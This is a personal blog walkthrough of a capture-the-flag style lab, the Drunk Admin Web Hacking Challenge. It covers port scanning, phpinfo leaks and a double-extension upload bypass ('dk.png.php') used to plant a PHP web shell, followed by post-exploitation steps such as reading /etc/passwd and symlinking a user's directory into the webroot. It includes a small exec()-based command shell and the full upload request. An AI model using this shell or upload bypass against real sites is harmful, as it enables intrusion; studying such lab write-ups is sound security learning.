My solution to the Drunk Admin Web Hacking Challenge

This weekend I attempted to solve the Drunk Admin Web Hacking Challenge and yay! I was successful. So, I’ve decided to document this - here we go.

First things first, I grabbed the VMWare image from here and ran it with the VMWare Player.

Once it was booted, it had the IP address of 192.168.40.128. I found this by logging in with the credentials root:toor and $ ifconfig

Information Gathering & Scanning

I expected to find the app by browsing to 192.168.40.128 on my web browser, but I was wrong. So I ran a nmap scan. Running just nmap 192.168.40.128 gave me only one result - the open SSH port on 22, but I was looking for a web server which wasn’t running on the top 1000 ports.

So I tried nmap again but this time with the --top-ports switch.

C:\Users\nitin>nmap --top-ports 10000 192.168.40.128

Starting Nmap 6.49BETA6 ( https://nmap.org ) at 2015-11-13 18:48 India Standard Time
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.40.128
Host is up (0.00s latency).
Not shown: 4251 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
8880/tcp open  cddbp-alt
MAC Address: 00:0C:29:26:4B:A8 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 20.05 seconds

I tried nmap once again with the -p0- switch and found the same result, so I was satisfied.

Visiting http://192.168.40.128:8880/ indeed brought me to the web app, which was an image hosting app. Something like pastebin for images.

screenshot-1-web-app

The info page didn’t contain anything I could use, but the footer did have something that would require taking a look. The links for HTML & CSS pointed to external sites, but the PHP link led me to a page - http://192.168.40.128:8880/myphp.php?id=102 - that held a single link called PHP Credits which showed the PHP Credits that come bundled with PHP( http://192.168.40.128:8880/myphp.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000)

screenshot-2-php-credits

I was curious to change the id parameter and see what happened. So I changed it to 100 and I got this response:

screenshot-2.1-php-credits-try-harder

So, I started trying out different values for the id parameter and discovered the phpinfo() at id=99

screenshot-2.2-php-credits-phpinfo

The list of interesting URLs from my findings:

http://192.168.40.128:8880/myphp.php?id=101
http://192.168.40.128:8880/myphp.php?id=104
http://192.168.40.128:8880/myphp.php?id=108
http://192.168.40.128:8880/myphp.php?id=116
http://192.168.40.128:8880/myphp.php?id=132
http://192.168.40.128:8880/myphp.php?id=164
http://192.168.40.128:8880/myphp.php?id=99

Interesting pattern huh? (Also, the reason why I found 99 last :P )

Next, I tried to find a robots.txt file, but couldn’t find one

screenshot-3-robots.txt

Next, I took the image uploader form for a test run and tried uploading an image file called earth.jpg.png which uploads to http://192.168.40.128:8880/images/238f202bda5a3c5136a610774e0d3e4e.png . This gleaned two more things

  1. The upload form accepts double extensions (.jpg.png).
  2. The uploaded filename is the MD5 of the original filename (earth.jpg.png translates to 238f202bda5a3c5136a610774e0d3e4e in MD5)

Here’s what happens in the upload process (to my understanding),

  • The upload form submits the form to /upload.php
  • There is a Cookie called trypios with the value nop. (Sometimes it takes the value of uploader, this is something I found out later).
  • A successful response sets a new value to the trypios cookie - the uploaded filename (MD5 of the original filename) and sets a redirection to /image.php
  • It is from the image showing in /image.php that we discover that the image gets uploaded in the /images directory.

Since upload is possible I wanted to see if the PUT HTTP method would be allowed by the webserver, but I was disappointed.

C:\Users\nitin>ncat 192.168.40.128 8880
OPTIONS /images/ HTTP/1.1
Host: 192.168.40.128

HTTP/1.1 200 OK
Date: Fri, 13 Nov 2015 16:15:03 GMT
Server: Apache/2.2.16 (Debian)
Allow: GET,HEAD,POST,OPTIONS
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html

close: Result too large

Exploitation

When I tried to directly upload a file with a .php extension, I was met with this error:

screenshot-4-upload-invalid-extension

Now, when I tried it with the extension .png.php, I met this error:

screenshot-4.1-upload-youre-naughty

So, then I tried simply visiting upload.php to see if that would glean some information, but to no avail,

screenshot-4.2-upload-no-data

Here is the PHP file I was trying to upload:

<?php

echo "I'm running!";
echo "<br />";
echo exec($_GET['command']);

?>

I kept trying the above with various variations like changing the cookie data, different filenames & extension combinations, null-byte injection in the filename, etc., but every single time I failed.

Fully vexed, I tried it with a publicly available PHP shell, giving it the name dk.png.php and what do you know! It worked!

The HTTP Request:

POST /upload.php HTTP/1.1
Host: 192.168.40.128:8880
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.40.128:8880/
Cookie: trypios=nop
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------32035100571932
Content-Length: 63194

-----------------------------32035100571932
Content-Disposition: form-data; name="image"; filename="dk.png.php"
Content-Type: application/octet-stream

<?php 
//
//                                  DK Shell - Took the Best made it Better..!!
//
//
//
//Version 1.0 
//Created on 25/3/2012 by b47chguru
...
...
...
-----------------------------32035100571932
Content-Disposition: form-data; name="Submit"

Host My Awesome Image
-----------------------------32035100571932--

The HTTP Response:

HTTP/1.1 200 OK
Date: Fri, 13 Nov 2015 16:37:22 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze8
Set-Cookie: trypios=2c38bdb4b998b4f4647bc667cd933362; expires=Fri, 13-Nov-2015 17:37:22 GMT
Vary: Accept-Encoding
Content-Length: 98
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

<script type="text/javascript"> window.location = "http://192.168.40.128:8880/image.php" </script>

As you can see, the trypios cookie value got set to the MD5 of dk.png.php, which is 2c38bdb4b998b4f4647bc667cd933362. So now I visited http://192.168.40.128:8880/images/2c38bdb4b998b4f4647bc667cd933362.php and voila, my shell awaits :)

screenshot-4.3-upload-success

Post-Exploitation

So, now that I have uploaded a shell, I started prodding around in the webroot and found a file called .proof (shown in the screenshot in the previous section). It held a message:

#########################
# Drunk Admin Challenge #
#     by @anestisb	#
#########################

bob> Great work.
bob> Meet me there.
...> ?
bob> What? You don't know where?
bob> Work a little more your post
     exploitation skills.

Secret Code:
TGglMUxecjJDSDclN1Ej

The Secret Code is 20 characters in length, so it definitely couldn’t be MD5, SHA-1, etc.. Developers love the Base64 encoding, so when I decoded TGglMUxecjJDSDclN1Ej in base64 I received this output - Lh%1L^r2CH7%7Q#

After spending some time doing all sorts of idiotic things trying to break the code, I read the message again. “Work more on your post exploitation skills”, was that a hint? Hmmm… let’s try.

Firstly, I took a look at the /etc/passwd file,

$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/false
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/false
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
bob:x:1000:1000:bob,,,:/home/bob:/bin/bash
mysql:x:104:107:MySQL Server,,,:/var/lib/mysql:/bin/false

There is a user called bob. He’s the only user not in the 0-999 range.

bob:x:1000:1000:bob,,,:/home/bob:/bin/bash

Looking into bob’s home directory,

$ ls -la /home/bob
total 28
drwxr-xr-x 4 bob  bob  4096 Mar  6  2012 .
drwxr-xr-x 3 root root 4096 Mar  3  2012 ..
-rw-r--r-- 1 bob  bob   220 Mar  3  2012 .bash_logout
-rw-r--r-- 1 bob  bob  3184 Mar  3  2012 .bashrc
-rw-r--r-- 1 bob  bob   675 Mar  3  2012 .profile
drwxr-xr-x 2 root root 4096 Mar  6  2012 Documents
drwxr-xr-x 3 bob  bob  4096 Mar  6  2012 public_html

public_html, oh so there’s a webroot here? Maybe for another Virtual Host that’s currently disabled or something?

$ ls -la /home/bob/public_html
total 20
drwxr-xr-x 3 bob bob 4096 Mar  6  2012 .
drwxr-xr-x 4 bob bob 4096 Mar  6  2012 ..
-rw-r--r-- 1 bob bob 1730 Mar  6  2012 encrypt.php
drwxr-xr-x 2 bob bob 4096 Mar  6  2012 include
-rw-r--r-- 1 bob bob  791 Mar  6  2012 index.php

Yup, definitely interesting. Maybe this is the solution to the secret key puzzle?

So let’s look in the Apache Config,

$ ls /etc/apache2/sites-enabled/
000-default

$ cat /etc/apache2/sites-enabled/000-default
<VirtualHost *:8880>
	ServerAdmin webmaster@localhost

	DocumentRoot /var/www
	<Directory />
		Options FollowSymLinks
		AllowOverride None
	</Directory>
	<Directory /var/www/>
		Options Indexes FollowSymLinks MultiViews
		AllowOverride All
		Order allow,deny
		allow from all
	</Directory>

	ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
	<Directory "/usr/lib/cgi-bin">
		AllowOverride None
		Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
		Order allow,deny
		Allow from all
	</Directory>

	ErrorLog ${APACHE_LOG_DIR}/error.log

	# Possible values include: debug, info, notice, warn, error, crit,
	# alert, emerg.
	LogLevel warn

	CustomLog ${APACHE_LOG_DIR}/access.log combined

    Alias /doc/ "/usr/share/doc/"
    <Directory "/usr/share/doc/">
        Options Indexes MultiViews FollowSymLinks
        AllowOverride None
        Order deny,allow
        Deny from all
        Allow from 127.0.0.0/255.0.0.0 ::1/128
    </Directory>

</VirtualHost>

The interesting thing for me to note was that FollowSymLinks was enabled. So placing a symbolic link to bob’s public_html directory would work.

Taking a look at the webroot,

$ ls -la /var/www/
total 48
drwxr-xr-x  4 root root     4096 Apr  2  2012 .
drwxr-xr-x 14 root root     4096 Mar  3  2012 ..
-rw-r--r--  1 root root      217 Mar  3  2012 .htaccess
-rw-r--r--  1 root root      322 Mar  6  2012 .proof
-rw-r--r--  1 root root     2683 Mar  7  2012 image.php
drwxrwxr-x  2 root www-data 4096 Nov 15 08:52 images
-rw-r--r--  1 root root     1981 Mar  4  2012 index.php
-rw-r--r--  1 root root     1943 Mar  4  2012 info.php
-rw-r--r--  1 root root      279 Mar  4  2012 myphp.php
drwxr-xr-x  2 root root     4096 Mar  3  2012 style
-rw-r--r--  1 root root     2144 Mar  7  2012 upload.php
-rw-r--r--  1 root root       51 Mar  3  2012 xmm.html

The only writable directory is /images. So,

$ ln -s /home/bob/public_html /var/www/images/bob

$ ls -la /var/www/images
total 448
drwxrwxr-x 2 root     www-data   4096 Nov 15 09:10 .
drwxr-xr-x 4 root     root       4096 Apr  2  2012 ..
-rw-r--r-- 1 root     root        143 Mar  3  2012 .htaccess
-rw-r--r-- 1 www-data www-data 162768 Nov 13 16:25 238f202bda5a3c5136a610774e0d3e4e.png
-rw-r--r-- 1 www-data www-data  62872 Nov 13 18:37 2c38bdb4b998b4f4647bc667cd933362.php
-rw-r--r-- 1 www-data www-data 166311 Mar  7  2012 3df5758863d650e59525cf2aa0676230.png
-rw-r--r-- 1 www-data www-data   7205 Mar  7  2012 8dc053a3ed0adf03994f96347d20d9e5.png
-rw-r--r-- 1 www-data www-data  21764 Mar  4  2012 aa63b1c597b45e4f1f883724d0f8dfbe.jpg
lrwxrwxrwx 1 www-data www-data     22 Nov 15 08:52 bob -> /home/bob/public_html/
-rw-r--r-- 1 www-data www-data     31 Nov 13 16:33 fecac0f3d9caab347f2e2a4e006c1bbf.png
-rw-r--r-- 1 root     root          0 Mar  3  2012 index.html

And now we visit http://192.168.40.128:8880/images/bob/ in our browser,

screenshot-5-bob

I quickly paste the secret code (TGglMUxecjJDSDclN1Ej) from the .proof file in and find this result,

screenshot-5.1-bob-gibberish

This time I tried the base64 decoded string of the secret code - Lh%1L^r2CH7%7Q# and woot! woot!

screenshot-5.2-bob-success

Okay, now that the puzzle was solved, I was curious about the /cgi-bin/ I saw in the Apache config. I wondered if there were any other exploitation vectors, but looking in the /usr/lib/cgi-bin/ directory I found it empty.

Report

Here’s a quick run-down of the issues we’ve seen previously. I have only covered what we encountered on our route to solving the challenge:

  • Information Leakage
    • Server & Software Information displayed in headers

      Server: Apache/2.2.16 (Debian)
          X-Powered-By: PHP/5.3.3-7+squeeze8
      
    • PHP Configuration Information displayed.

      http://192.168.40.128:8880/myphp.php?id=101
          http://192.168.40.128:8880/myphp.php?id=104
          http://192.168.40.128:8880/myphp.php?id=108
          http://192.168.40.128:8880/myphp.php?id=116
          http://192.168.40.128:8880/myphp.php?id=132
          http://192.168.40.128:8880/myphp.php?id=164
          http://192.168.40.128:8880/myphp.php?id=99
      
    • PHP Easter Eggs enabled

            http://192.168.40.128:8880/myphp.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
      
  • Weak Obfuscation

    Simple MD5 of the filename allows for easier retrieval of uploaded file. (This comes in handy in accessing the shell upload).

  • Upload Dangerous File Type

    A PHP Shell can be uploaded by using double extensions.

  • Redirection using JS

    Not really an issue, but would be nicer to redirect with the Location header instead of relying on JavaScript.

Conclusion

After solving the challenge and found solutions by others - Rohit Shaw and Kyriakos Ispoglou. Looks like we pretty much went down the same route, but I had not thought about mod_userdir being enabled, and instead used a Symbolic Link when one was not required.

Oh well! I got to learn something out of all this :)


Share on

           

comments powered by Disqus